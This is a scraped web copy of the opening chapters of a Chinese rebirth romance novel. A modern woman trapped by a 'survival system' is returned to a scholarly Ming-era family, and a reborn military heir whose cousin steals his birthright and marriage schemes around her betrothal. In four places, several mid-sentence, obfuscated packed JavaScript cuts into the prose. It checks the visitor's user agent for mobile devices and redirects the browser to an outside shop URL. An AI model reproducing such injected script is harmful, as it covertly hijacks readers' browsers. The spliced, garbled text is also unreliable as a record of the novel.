《换夫后，他宠我入骨》 1. 第1章 大顺永靖二十九年四月初一，南直隶阳湖县，阴云密布，夜色沉沉压下。 “……检测到宿主死亡，通关失败。第二世开启，失败惩罚，第二世宿主必须活到八十岁，寿终正寝，才能回到现世……嘀嘀！” 咔嚓一声，霹雳似要撕裂苍穹，一道白光，直射床榻而来。 陈婉紃（xun，二音）猛地张开眼睛，双耳轰鸣，头痛欲裂，她伸直双手在虚空中胡乱挥舞，惊恐地大口大口喘息。 她好像“死”了。 可怎么死的，为什么死，她脑子里却是一片空白，只有“通关失败”四个字在脑海深处滋滋作响。 又一道电光，照亮了她苍白软嫩的手，这是一双少女的手。 短暂的空白过后，陈婉紃过往的现世岁月，一帧一帧的清晰回放。 她想起来了，她一时好奇，被迫绑定了一个“100%原生态生存体验”系统，必须通关，才能回到现实。 通关条件是她在古代活到七十岁，寿终正寝。 可怎么就失败了？ 失败的惩罚是系统给她安排第二世，这一世要活到八十岁！ 第一世只要活到七十岁，她都没有通关，惨死失败。第二世要活到八十岁，“怎么办，怎么办？”陈婉紃喃喃自语，绝望地仰起脸，久久注视忽明忽暗的帐顶。 不对。 第一世惨死失败，第二世重启，她应该是从一个婴孩开始，而不是现在的少女，还是说失败了可以存档重来。 “系统，系统……”陈婉紃用意念呼叫系统。 脑海中电流噼啪乱响，系统像是能量耗尽前的挣扎： “宿主你的想法很危险，每一世失败，都要清零重来，这一次是出了个意外，哔哔哔——”说到关键处，系统能量耗尽，陷入沉眠。 系统没有来得及告诉陈婉紃的是，上一世有人以命换命想要救她，虽然没有成功，却爆发出惊人的能量，扰乱了第二世的开启。 这些陈婉紃不知道，她被送回了第一世的十七岁零九十天，之后的记忆被清零，她不记得了。 外面的惊雷暴雨渐渐小了，陈婉紃昏昏沉沉睡去又醒来，窗外安静了，雨停了。 谯楼的报时鼓“咚咚”敲响，鼓声紧一声慢一声响了五声，隆隆鼓声弥漫整个县城。这是亮更鼓，向全县官民报时，五点了，天明了。 对于诗书耕读传家的陈家，亮更鼓，意味着该起床了。 大清早天还没有亮透，就要起床，日日如此，年年如此，不分冬夏秋春。 陈婉紃抱着被子痛苦地滚了几滚，才万般无奈地抱膝坐起来，下巴搁在膝盖上，出了一会儿神，给自己最后几分钟自由随性。 时间到，属于陈婉紃自己的时间结束。 她撩开床帐，虽一夜难眠，雪白的面孔上却不见憔悴，柔黑的眼眸蕴着浅笑。她眉眼生得极为姣媚，却丰神秀洁、蔼然春风，让人只觉一派书香闺秀的清丽，不敢生出它想。 推开厢房门，吸一口雨后微凉的空气，陈婉紃不由紧了紧身上窄袖细布夹袄，抬头望了望，天空已经泛起了鱼肚白。 “四小姐，起来啦，洗脸水兑好了，老婆子这就端进去。”刘妈听到响声，从厨房探出头说了声，便端着一盆温热的洗脸水，送进西厢房。 陈婉紃洗了脸，简单地梳了头发，插了一支木簪，进了厨房。 刘妈是陈家雇的仆妇，做洒扫、洗衣、烧火等粗活，烧饭做菜这种细活儿还得陈家女眷操持。 阳湖陈氏乃南直隶的缙绅大族，但是他们这一支是分支。陈婉紃的祖父早逝，留下孤儿寡母，陈婉紃的祖母将三个年幼的孩子抚养长大，受尽磨难。 陈家世代诗书，子弟全力走科举之路。 然而科举这条路却是极为艰难残酷的。 陈婉紃的伯父资性敏慧，小小年纪就在陈氏家塾出了名，被族中长辈视为读书种子。十六岁阳湖县县考取了第一名案首，常州府府考又取了第一名，第二年到南直隶应天府南京城参加院试，由提督南直隶学政准准又取了案首第一名。 县试、府试、院试全都为第一，称为“小三元”。 还是十七岁的俊秀少年。 天下科举兴盛江南为第一，陈婉紃的伯父霎时名扬江南。 然而，或许是天妒英才，陈婉紃的伯父以县试、府试、院试皆第一的威名考中秀才，乡试却连连受挫。终于在第三次乡试时以第十一名取中举人。 此时距他考中秀才已足足过了九年。 考中举人之后，陈婉紃的伯父每逢大比之年，都要北上京城，却每次都名落孙山。 如今已年过半百。 陈婉紃的父亲也考中了秀才，却也蹉跎于乡试。 堂兄亦是被称作读书种子，不到二十岁便是秀才。伯父怕堂兄步他后尘，不让堂兄早早考乡试，而是带着堂兄一起进京，让他开阔眼界、长了见识后再赴南京参加江南乡试。 在科举这种残酷的零和博弈游戏中，不仅要求应考的士子资质出众，更要士子的家庭钱财上倾力支持。 陈家的银钱，首要是供一名举人、两位秀才连年科举。其次是祖母，其他人排在后面。 这次会试，伯父志在必得，陈家倾囊以尽，将家里积存的银两几乎全部给伯父带上。 一大家子女眷，为了节省雇仆人的费用，每日饭食由儿媳、孙女们轮番操持。 今日便轮到了陈婉紃。 陈家祖母不重口腹之欲，一日三餐，都很简淡。一般早饭都是焖一锅菜饭，配一碗时令的汤。 “四小姐，按照你的吩咐，米淘净后我就用清水浸泡了，现在有半个时辰了。”刘妈满面堆笑地说。 几位奶奶、小姐中，轮到四小姐操持家务细活时，刘妈最欢喜。 这倒不是四小姐手最巧、最利索。四小姐也不是最讲究的。论心灵手巧，没人比得上二小姐。论嘴刁，三小姐数第二没人敢得第一。 但是四小姐是最爱惜人的，不论是她自个还是别人。 四小姐说每日用的水是从深井里打的，寒浸浸的冻骨头。四小姐一向懂事，也不像三小姐讲究吃穿，惟独对自个身子骨在意万分，非得说冷水浸泡多了伤身。 在北边给人做幕僚的二老爷喜欢摆弄一些稀奇古怪的物件，二老爷一次回家特特带回几大袋子黑魆魆的东西。说是煤块，京城里的小门小户和饭铺茶房烧水煮饭都用煤块。 在他们阳湖县却没见人用过，一摸一手黑，很难洗净，众人都不愿碰。 仙女儿似的四小姐，也不嫌脏，又是黄泥又是黑黢黢的煤块，日日抓摸，弄出了带眼的煤饼子。她又让二老爷把烧炭煮茶的风炉子拿去铁匠铺改动，打了个怪模怪样的长筒子和铁炉子。 把那带眼的煤饼子，放进铁炉子，下边燃一个，上面盖一个，一夜都不熄灭。一日十二个时辰都有热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胃口不太好，她默默吃了几口饭，目光不由散漫落在旁人身上。 她突然发觉大伯母嘴角起了一圈火燎泡，人愣愣的，筷子差点插进鼻孔里，一副上火失神的样子。三姐姐手里的饭碗一口没动，着急地盯着大伯母。 她们母女俩像热锅上的蚂蚁一样焦虑不堪。 “老太太，河南归德卫指挥使高大人前来拜访。”门房张伯双手捧着红锦拜贴，进来通传。 “河南归德卫指挥使？”老太太起身接过拜帖，一脸的疑惑不解。 “母亲，”大太太猛地起身，险些带翻她坐的凳子，一屋子的人不由地都望向她，“儿媳有桩事要禀报母亲。” 老太太让她吓一跳，顾不得看拜帖，连忙问什么事。 “三丫头的亲事定了，”大太太声音急促地说道，“我娘家弟弟亲自做的媒，即日就要行聘礼……” 大太太说得慌里慌张、颠三倒四，还当着孩子们的面，老太太又生气又疑惑，“这是说这些话的场合吗？” 大太太面红耳赤，她知道自己失态了，可为了女儿的终身，她必须说，“母亲，儿媳知错，儿媳只是想禀报母亲三丫头已聘了人。” 说完，大太太看了陈婉紃一眼，满脸的如释重负，以及几分抱歉和怜悯。 陈婉紃悚然一惊，大伯母为何如此看她？ 2. 第2章 老太太盯着大太太看了好一会儿，大太太鬓角鼻尖渗出密密汗珠。三小姐淑绘紧紧攥着大太太的衣袖，低着头不敢看祖母。 明知大儿媳和三孙女有事隐瞒，老太太瞥见手里华丽的红锦拜帖，门外有贵客拜访，眼下不是逼问她们的时候。 “归德卫指挥使高……”老太太默念一遍，这高家不是陈家来往亲密的亲朋戚友，怎么突然登门拜访？ “高！” 老太太忽然心中一动。多年前，老大在河南开封府大梁书院讲学时生了病，她得了信带着儿媳、孙女急急赶去照料。 那年夏天雨水大，黄河浪高水大，行不得船。她焦虑儿子病情，弃了船雇了车马改走陆路。 不想，为了多赶几里路，错过宿头，等天色黑透，四下一望，进了一片密林，不见有个村庄。猛听得一阵呼哨，一伙匪盗手持棍棒砍刀狞笑着围拢过来。 眼见一家妇孺的命要丧在它乡。 绝望之中，听得马蹄隆隆，数名身披铠甲的军士出现在眼前。当头着甲胄的军官一箭射中冲在最前边的匪徒心窝，双方一阵血战，直到盗匪头子被砍成两段，那伙匪盗没了主心骨才四散逃走。 陈家妇孺性命得保。 老太太记得救她们命的军官姓高。 事后老大病情痊愈，他是陈家的顶梁柱，又是举人老爷，备受开封大梁书院器重的贤儒。答谢救命之恩的事情，老太太自然全都交给了大老爷。 南直隶常州府阳湖县与河南归德卫相距甚远，这些年两家并未有来往，怎么今日高大人突然上门拜访？ 纵然满心疑惑，但救命之恩乃是天大恩情。老太太这些思虑只是电光石火的刹那，已起身吩咐门房张伯：“恭请高大人到厅里。” 老太太一起身，小辈们都站了起来，二小姐德绢急忙拉起走神的陈婉紃。 陈婉紃一心琢磨大伯母看她的那个眼神的含义，没有注意到祖母已起身，她对二姐笑了笑。 “四妹，你是不是哪里不舒服，我看你脸色有些发白。”二小姐德绢用只有两人能听清的声音小声问。 “二姐，你说归德卫的指挥使怎么突然来咱们家拜访？”陈婉紃有种不好的预感。 二小姐德绢摇了摇头，“不曾听过有这家亲戚。” 老太太一走，大太太立即带着三小姐、大奶奶离开。陈婉紃急切想要多打探点消息，可她母亲二太太最重规矩，她不敢让母亲知道她的小心思。 “可能晚上着了凉。”陈婉紃微微蹙眉。 二小姐德绢疼爱这个妹妹，见她这副可怜样儿，心疼得不得了，“你回房再躺会儿，我去给你熬碗姜汤。” 见自家二姐挺着隆起的肚子，陈婉紃良心受到小小谴责，“没那么严重，二姐姐，我自己去厨房熬姜汤。” 二小姐还要再劝，二太太看了看两姐妹，微微叹气，“绢儿，让你妹妹自己安排吧。” “紃儿，你是个机灵孩子，有点分寸。” 陈婉紃和二太太对视一眼，总觉得被她母亲看穿了小心思。 “刘妈，你打理收拾饭厅。绢儿，你看着弟弟读书。紃儿，你去厨房吧。”二太太安排完，径直去了大房院里。 门房张伯进厨房催茶，见只有四小姐陈婉紃一人，稍稍一愣，也未多想。 “张伯，那位归德卫指挥使带了多少人来？神色如何？”陈婉紃将水壶坐在风炉上烧水，一边取出今年的新茶叶，一边问张伯。 “四小姐，咱们府上是读书人，咱们阳湖的县太爷、常州府的知府老爷，我也跟着大老爷见过。这归德卫指挥使是武臣，品级该怎么看呢？这位高老爷戴着乌纱，穿着圆领，胸前绣着老虎，可威风了。” 绣着老虎的补子，这是三品武臣，陈婉紃默默想着。这些官场上的基本常识，二老爷教过她。 “不过，这位高老爷对咱们老太太恭敬着呢。见了咱们老太太，就让小厮放下红毡毯，跪下去结结实实磕了头。” “带了好些人，抬着箱子、捧着盒子，阵势排场极了……” 张伯越说，陈婉紃越觉出事情不对。 泡好了茶，张伯猛地拍了拍脑门，“外面叫的点心怕是要送来了。四小姐，烦你先端茶到大厅门口，我去门外接点心。” 陈婉紃自然同意。 一路走到前院，陈婉紃立在大厅门口，厅里那位高大人声音洪亮。他的官话带着浓重的河南口音，为了让南直隶的老太太听懂，语速放得极慢，厅外的陈婉紃听得毫不费力。 这位归德卫指挥使高大人以年侄小辈自居，口口声声钦慕陈家书香门第、缙绅望族。陈家子弟代代进士及第，举人秀才，文蔚多起，大儒贤士辈出。可谓文星灿烂，熠熠生辉。 又称赞陈家女孩都是贤良淑德的贤媛。 毕竟是女眷，高大人简单夸了一句，便大谈特谈他的“侄子”。如何的年少英秀，如何知书识礼，只为求得一位书香名门的贤媛为妻，至今未定亲。 大厅里老太太忽然一阵大咳，打断那位高大人的话。 陈婉紃一惊，这位高大人今日来拜访，难不成意在求亲。她霎那明白大伯母为何一听归德卫指挥使高大人来访，便那般不顾体面的当着小辈的面说出三姐姐许了人。 对于陈家女儿来说，与高家这等将门世胄结亲，避之如蛇蝎。 门房张伯捧着点心盒子过来，先将点心盒子放在厅外凳子上，接过陈婉紃手上的茶盘。 陈婉紃已探听到这位高大人的来意，沉着一颗心，慢慢回到后院。 陈家只有四位小姐，大小姐文缇、三小姐淑绘是长房所出。二小姐德绢、四小姐婉紃是二房的。大老爷和二老爷都是只有嫡妻，没有妾室。 大小姐文缇不仅是陈家的长孙女，也是陈家头一个孙辈。自小生得粉妆玉琢、冰雪聪明，不仅老太太视为心头宝，大老爷、大太太也将长女爱如掌中珍。 刚长到十三四岁的豆蔻年华，就有媒人登门。 等到大小姐文缇及笄，大老爷千挑万选，为长女择了一位高门巨室的少年为婿。 想起大堂姐，陈婉紃记忆有些模糊。大堂姐比她大了十多岁，年龄差太大，两人没有太多交往。 可她永远记得大堂姐十七岁出嫁时，那凤冠霞帔、艳色夺人的少女，拜别亲人时，眼中滚出泪珠，却又在转瞬之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二老爷名利心不重，有一腔赤子之心。有一年陈家的孩子都染上了时疾，大夫只说城中染疫的孩童极多，个人有个人的造化。他听了不高兴，从此潜心学医。 陈家的儿女中，性情与二老爷最相投的便是四小姐婉紃。二老爷疼爱这个灵气逼人的女儿，不舍得将她嫁入旁人家里。怕她受苦，又不愿委屈她，一心想为她择一个无可挑剔，且同意婚后住在岳家的夫婿。 能为二小姐德绢挑到萧肇已然幸运，又哪能那么容易为婉紃择到更好的夫婿。 如此陈婉紃年过十七，尚未定亲。 陈婉紃倒是无所谓，这年代，嫁人如闯生死阵，她巴不得一辈子不嫁。 千算万算，万万想不到，突然闯来一个归德卫指挥使高大人，挟救命之恩，为侄求亲。 且不说南直隶常州府与河南路途遥远，只说本朝承平近百年，世袭武将们的名声已然烂透了。 放荡骄奢、声色犬马。 陈家世代书香、翰墨诗礼养出的清雅闺秀，怎么能嫁入这种人家。 大堂姐嫁的南京上元高门，亦是以科举起家的望族，结局尚且那般惨烈。 难怪大伯母不顾体面，用娘家相压，也要将三堂姐淑绘匆匆许聘。 如此一来，陈家尚未许人的小姐，只剩下了她陈婉紃。 陈婉紃仰头对着苍天深深叹气，难道她上一世就是因为这桩亲事才惨死，导致她任务失败重来？ 3. 第3章 常州府码头，管船的搭上跳板，高府小厮小声提醒自家老爷码头到了，该下船了。 换了一身便服的归德卫指挥使高昌神色愤愤不悦。 在陈家大厅，任他伏低做小，陈家老太太一味装聋作哑，不肯收下他带去的礼物。 虽说如今文贵武贱，可他们高家祖上是跟着太祖皇帝打天下的开国功臣，敕封世袭指挥，富贵已近百年。 陈家虽然世代书香，比之高家的锦绣华堂，简直称得上清贫如洗。 这位高昌高大人虽顶着归德卫指挥使的官职，官场经验却很匮乏，因他这官职的来历，大有说道。 关于世袭武官袭替，本朝开国太祖诏令：“凡大小武官亡故、老疾、征伤，以嫡长男承袭。嫡长男有故，则嫡长孙承袭。无嫡长子孙，则次嫡承袭。无次嫡则庶长子孙承袭。无嫡长子孙，则嫡庶子孙俱无者，方许应继弟侄。”① 根据这个诏令，世袭武官的嫡长子孙拥有无可争议的优先的承袭权。 而高昌大人并非嫡长子，他上面有一位一母同胞的长兄，他的长兄才是他的父亲悉心培养的继承人。 前些年海上多事，倭子、海贼沿岸杀掠，朝廷震怒。为了剿倭，调内地卫所兵到南边沿海地方协助杀贼。 高昌大人的父亲时任归德卫管事指挥，高老指挥奉命点齐兵将开往南方。高昌大人的长兄心疼老父，顾不得妻子刚生了儿子，随父出征。 但归德卫兵将生于河南内陆，北人不善水战，且又是远途而来的客军，连当地人的话都听不懂。 倭子、海贼泯灭人性，残暴如兽，掳掠烧杀，甚至将幼儿扎在枪尖上，看他嚎哭挣命取乐。高老指挥恨得睚眦俱裂，挥刀冲向倭贼。 一场血战下来，归德卫的兵将与友军失去了联络，孤立无援。 高昌的长兄为父亲挡了一箭，死在了当地。等当地卫所兵赶来救援，高老指挥已成了一个血人。 高老指挥捡回一条命，却也残了一条腿，无法再任事。 根据本朝律令，高老指挥征伤残疾，须以嫡长男承袭替职。但他的长子为了救他，死在了南边。天幸长子留下一个还在襁褓中的嫡孙，按律则由这个嫡孙袭替。 但这个襁褓中的嫡孙，一个还在吃奶的奶娃娃，显然不能上阵杀敌。 本朝武官自指挥使、指挥同知、指挥佥事、卫镇抚、正千户至副千户、所镇抚、百户、试百户，称为世官九等。 所谓“世官”，是指这些武职皆可世袭。 本朝太祖、太宗时战事频繁，武官死伤极大，常有武官战死、伤残，袭职子孙年幼的情况。战场等着用人，奶娃娃们又不能上阵，为了解决这个问题，朝廷便出了个“借职”的办法。 即当武官亡故、老疾、征伤，而嫡长子、孙年幼时，允许由已长大成人的庶子、弟弟或侄子等人暂时借袭武职，待嫡长子、孙长大出幼时，再退还职事。 高昌这个归德卫指挥使的职位，全称应是“借职归德卫指挥使高昌”。即等他的侄子长大出幼，这个职位要还给他的侄子。 高老指挥只有两个儿子，精心培养的长子身死，仅剩的儿子高昌生性懦弱。得了借职指挥使的职衔，头一次跟着去剿匪，刚见了血吓得软成一滩泥。再一听要去杀倭贼，哭着喊着不肯去。 虽看不上这个儿子，高老指挥却不能再失去这个仅剩的儿子。拼了老脸，使了无数银子，上下打点，让这个儿子做了带俸指挥使。即只拿俸禄，没有职事的指挥使。 如此一来，高昌顶着指挥使的名头，白白领着俸禄，什么事都不用做，日子过得逍遥自在。 至于带俸指挥使，没有职事，不能管事，久而久之也没有了权力。时日一久，将要给家族带来什么忧患，高昌全不关心。反正他爹高老指挥还在呢。 这些年精心维护与陈家大老爷的关系，甚至为了与陈家结亲，求娶陈家女儿，不惜以救命之恩相挟，这些事都是高老指挥的意思。 对他的老父亲，高昌内心里发憷，不敢违令。 这次为了在陈家老太太面前留个好印象，高昌将高老指挥请归德卫学的训导写的文词，点灯熬油的背进肚子里。对于只略略识几个字，一拿书就头疼的高昌来说，简直吃尽了这辈子都没吃过的苦头。 可饶是如此，陈家老太太就是不肯收他带的礼物，不肯吐口允下这桩亲事。 高昌闷着一肚子气，脚下不觉用力，走到跳板中间时，跳板不由得忽闪起来。高昌腿一哆嗦，身子一晃，惊叫一声，扑通掉进河里。 运河里的水倒不湍急，可高昌不会水，在水里狼狈地挣扎。 “救命啊，我家老爷掉水里了。”小厮尖叫。 管船的、掌舵的等水手，知道这位老爷有官职在身。甭管文官、武官，在他们老百姓眼里都是高高在上的大人物，慌得连忙跳水里去救。 码头上等着迎候高昌的一行人也一阵骚动。 “二爷，老爷落水了！” 为首的年轻男子，穿一领天蓝宁绸道袍，身量高大，负手站定，腰直背挺，极为英武。 高昌被四五个水手推着靠了岸，年轻男子眉头几乎不可见的轻皱了一下，伸手将高昌拽上了岸。 他在高昌背上拍打了几下，高昌肠胃翻涌，趴跪在地上，连咳带吐，仿佛眼睛、鼻子、耳朵都在往外冒水。吐完水他难受得瘫在地上，呻吟不绝。 年轻男子心急如焚，急切地想要知道陈家的态度，他在掌心狠狠掐了一记，逼迫自己忍耐。 “父……亲，你怎么样？” 他口中说着关切的话语，却眼神冷峻，面无表情。 高昌睁开耷拉的眼皮，摆摆手，吩咐小厮扶他进轿，“赶紧回去。” 这对父子彼此冷漠的诡异。 高家在常州府衙东边租下一整座大花园，这座花园原是一家缙绅家的。后来这家没落了，子孙们将祖上留下的铺子、房屋，卖的卖，租的租。 这座大花园卖价太高，一时没有找到合适的主顾，高家南下江南，手里有的是银子，将整座花园都租了下来。 石山、楼台、湖水、画廊，这座江南园林富贵而不俗气，高老指挥十分喜爱。 时值春尽，虽已红消香淡，但湖中微光澹荡，弱柳婆娑。高家二爷高崇却对眼前美景视而不见，他心中的焦躁如燎原烈火，焚烧他的理智。 他名义上的“爹”——高昌，今日去陈家求亲，是为谁求的？ 太阳穿透一层薄云，直直地照着，高崇低头，看到自己的影子。 英俊的面庞浮起一抹凛冽的笑，“我还活着。” 笑容短促，转瞬即逝。 上辈子明明死了，怎么一睁眼回到了这一天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405872|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到了高昌去陈家求亲的这天。 祖父明明再三叮嘱高昌，这桩亲事是为了他求的，高昌名义上的儿子，实际上的侄儿“高崇”求的。 自高昌得了“借职归德卫指挥使”，做着挂名支俸的三品武官，卫里不安分的舍人恶少，甚至城里的一些奸滑胥吏，都来凑趣奉承。 今日招妓请酒，明日院里吃饭，把个高昌吹捧的骨头都轻了几分。 尝到了权力的滋味，高昌夫妇再也不愿放手。一想到头上那“借职”两个字，将来那个小崽子长大了，就要把归德卫指挥使的世袭职务还回去，两夫妇就钻心剜肉的难受。 可恨老头子将那小崽子看得紧，老头子心够狠，他们要是把那小崽子结果了，他们夫妇的命也保不住。 高昌夫妇既不敢下死手杀了侄儿，又舍不得到手的权力。趁着老头子得了一场病，怕病气过给孩子，不能日日看视。 两夫妇竟然想了一出“狸猫换太子”，将自个亲生的儿子与侄儿换了身份。 小婴儿长得快，容貌变化也快，高老指挥在病榻上缠绵了大半年，等去了病根，生米已煮成了熟饭。 不知道高老指挥是否发现过蛛丝马迹，但长子已死，长媳也死了，他默认了。 上辈子，他们瞒得密不透风，高崇从未怀疑过他的身世。 高崇生性豁达洒脱，弓马娴熟，打小便是归德卫孩子头，一呼百诺。 归德卫卫衙管事的见任指挥同知、指挥佥事，见了高老指挥就夸他生了个好孙儿，不愧将门之子英雄种。 但不论他在外面多得人喜爱，进了家门，父母只疼爱“堂兄”，对他只有厌恶。高崇伤透了心，只以为与父母无缘，全然不知他根本不是他们的孩子。 伤着伤着，高崇也习惯了。 他对于高家的一切，世袭指挥使也好、荣华富贵也罢，看得都很淡。 直到那年他跟着祖父的家丁，从匪盗中救了一家人，他手臂上挨了一刀，血流不止。 这点伤，高崇全没放在心上。 高家的家丁们也都习惯了，顺手给他包扎了便算了。 可一个小姑娘从马车上下来，拎着一个精致的小药箱，径直走到他面前。 “哥哥，你受伤了。” 小姑娘抓住他的手腕，用帕子擦净他手上的血，连指缝和指尖都擦的干干净净。 她碰他的那一瞬，高崇像是被点了穴，看着那块素净洁白的白绸子手帕，又是血又是土，染得一片肮脏。他低头垂目，一动不动。 马车上有人急促地呼喊，小姑娘擦净高崇的手，朝他轻轻地行了一个万福礼，“谢谢哥哥救命之恩”，提起裙摆脚步轻盈地跑向马车。 把小药箱留给了高崇。 高崇把小药箱抱在怀里。 回到高家，高崇放下三层床帐，小心地打开小药箱。里面瓶瓶罐罐放了不少的药，每一个瓶罐上都贴着一张笺纸，写着药名、用法、用量等等。 笺纸上的字很美很美，小小的，娟秀柔婉。不爱读书、不喜练字，一向以一身勇力自负的高崇平生头一次感到羞惭。 这就是世代书香养出的大家闺秀吗？ 他想读书了。 将门长大的少年懵懂中打开了一个崭新的世界。 那个小姑娘的身影也深深地刻在了小少年高崇的心里。 4. 第4章 高老指挥越发衰迈，不管他对高昌多么不满，可高昌终究是他仅剩的儿子。高昌夫妇“狸猫换太子”，用亲生儿子充作侄子，待长大成人出幼，到京城比试弓马合格后袭职。 这些，他都默认了。 而对于高昌夫妇名义上的“儿子”，实际才是他长子留下的唯一血脉高崇，高老指挥只能对不住他了。 为了补偿，为了高崇的前途，高老指挥苦心竭力，想出了一个办法。向江南大族陈家求亲，为高崇娶一位世代书香家的贤媛。 承平日久，武官的权力越来越小，而文臣的地位越来越贵重。 陈家科第蝉联，累世簪缨，高崇娶了陈家的女儿，弃武从文，有了岳家的扶持，想必能得个功名。 进士、举人，高老指挥不敢想。高崇若是能得个秀才，有了生员的身份，再有一份分得的丰厚家产，想必能安富尊荣地过一辈子了。高老指挥觉得他闭了眼敢见他的长子了。 高老指挥打算的好，惟独漏算了人心。他年迈体衰，又受伤残疾，一路舟车劳顿，肠胃出了毛病，腹泻不止。他生怕拜访陈家时出丑，只能将登门拜访的事情交给高昌。 万万没想到，高昌又一次阳奉阴违，替自己名义上的侄子，实际上的亲生儿子求娶陈家女儿。 高昌先抢侄儿的世袭指挥使，再抢侄儿的姻缘。 高崇眼睁睁地看着自己放在心里多年的姑娘许给他的“堂兄”，那个放荡无耻的下流东西。 上一世，高崇被蒙在鼓里，他能够忍受“父母”的虐待，能够忍受“堂兄”的折辱。 惟独不能忍受心爱的姑娘被折磨。 他用自己的办法默默的护着她。 她听说了那个人做的事，她那么清雅出尘的姑娘怎么受得了那种淫猥肮脏，她在喜轿中痛哭，哭得几乎晕厥。 等喜轿终于到达归德，迎面而来的却是一片丧白。 喜堂变灵堂。 她从此成为孀妇。 也自此成了他的“长嫂”。 一年又一年，高崇凭着立下的赫赫战功，挣得了武臣所能争得的富贵官爵与显赫荣华，可他始终未娶。 他将那刻骨铭心的情愫竭力压抑在心底，无人窥知。 尤其是他的“长嫂”，浑然不觉。敬他、尊他，只将他待为亲弟。 甚至到了那天，他的“长嫂”将他的身世之谜解开，他报复尽了所有的仇人。可还是不够，积郁难消的仇恨烈火在他浑身上下飞扬腾蹿，只因那一句—— “一日为嫂，终身为嫂，吾弟休得胡言，否者将置我与何地！惟愿吾弟择配淑女，子孙满堂……” 上天垂怜，他竟然返阳复生。这一世，高昌那对狗男女休想再愚弄他。 “二爷，”一个小厮飞跑过来，气喘吁吁，“老太爷醒了，让你过去。” 高崇微微点头，快步走到了老太爷住的院子。 老太爷住的院子叫做迎晖阁，四月晴明，牡丹盛放，赏牡丹迎晖阁最佳。 眼前姚黄魏紫盛放，蜂声蝶影，高崇视而不见，径直进了高老指挥房间。 “爷爷。” 高老指挥靠着一摞软枕，半坐半卧在榻上，手里颤巍巍地拿着一张礼单，虚弱的声音发急，“陈家不肯收下礼物？” “爹，”高昌换掉了湿衣，头发还没干，披着发，穿着家常小褂，很是激动，“依我看，陈家也没什么大不了的，说是江南簪缨大族，诗书世家，他们家只是旁支。家里穷酸得很，将来肯定置办不了丰厚的嫁妆，这门亲不结也罢。” “混账！” 高老指挥气急，抄起身旁的一个冰纹青瓷盖碗砸了过去，“除了吃喝玩乐，你懂什么？开国时咱们武臣是什么地位，现在又是什么地位？” “太祖、太宗朝，咱们卫所辖下的军户、屯田，全归卫衙管着，州县官一个手指头都甭想插进来。屯户多少人、屯田多少亩，征解多少粮、银，咱们卫衙直接报给都司衙门，连布政司、按察司都不用理会。可现在呢？” 高老指挥喘了一口气，“布、按两司和州县衙门管不了卫所，可朝中还有都察院，都察院里的御史们全是进士出身。科道言官最受皇上器重，皇上御笔敕书，都察院派出的巡按御史，代天子巡狩，上至藩王，下至州县卫所，都得受巡按御史考察、举劾，巡按御史按临所至，大事奏裁，小事立断。” “尤其是对咱们武臣，这些年御史们左一道奏疏，右一道奏请，说咱们武臣贪暴骄纵，子孙擅作威福。说得多了，皇上便信了他们。如今更是让巡按御史专门访察将官，到了年底统一会奏处治。咱们武将，世官九等，指挥使正三品，指挥同知从三品，指挥佥事正四品，连最低一级的所镇抚、试百户都是从六品。” “那你知道巡按御史的品级是几级吗？”高老指挥指着高昌斥问。 刚刚躲过茶杯的高昌像是被小瞧了，他能连巡按御史的品级都不知道吗，高声答：“正七品。” “正七品，”高老指挥冷笑，“区区正七品的文臣，多少三品、四品的武将跪在他脚下乞饶！文贵武贱，也只有你这个蠢东西，看不出这门亲事是咱们家高攀。” 高昌被高老指挥劈头盖脸一顿痛骂，恼羞成怒，他不敢对高老指挥犟嘴，只恶狠狠盯着高崇。 “你看他做什么？”高老指挥气得上不来气，猛咳起来，“滚去想办法，陈家这门亲事一定要结下。” 高昌如蒙大赦，抬脚就走。 高崇上前给高老指挥拍背，高老指挥咳声稍止，看着高崇，满目慈爱，“放心，爷爷一定要为你结下这门好亲。” 许是刚刚透支了精神，高老指挥没说几句话，眼皮就又黏在一起。高崇悄声走出房间。 毫无疑问，祖父是疼爱他的。 可默认了高昌的行为的也是祖父。 所谓疼爱，也分等级的。 高崇面上泛起一丝冷诮的笑，这种黏黏糊糊的疼爱，憋屈又不痛快。 将高老指挥抛掷脑后，高崇回房取了两锭银子，交给心腹小厮，去探听高昌院子里的动静。 “老爷回去后骂骂咧咧的，说‘谁爱受气谁去，老子才不去受那鸟气’。”小厮颇能干，很快打探到了消息。 过了几天，高昌确实只一味糊弄高老指挥，不再去陈家，显然是对这门亲事不再热衷。 高崇慢慢放了心。 只要高昌不掺和，等高老指挥病一好，亲自登门向陈家求亲便好了。 至于上一世，高昌为何替他的亲生儿子求亲，抢了他的姻缘。其中缘由，高崇得知真相报复高昌，高昌临死之前说他欢喜太过，让他看了刺眼。 故而，这些天，高崇在高昌面前神色都是淡淡的。 可高老指挥的病不仅未好，腹泻之疾更甚。高昌只会唉声叹气。高崇四处打探名医，备厚礼请来诊视。 高老指挥到底是上了年纪的人，眼见自己的病一日比一日重，心头害怕，不敢离人。日夜都要高崇在他院子里守护。 转眼过了四月十五日。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 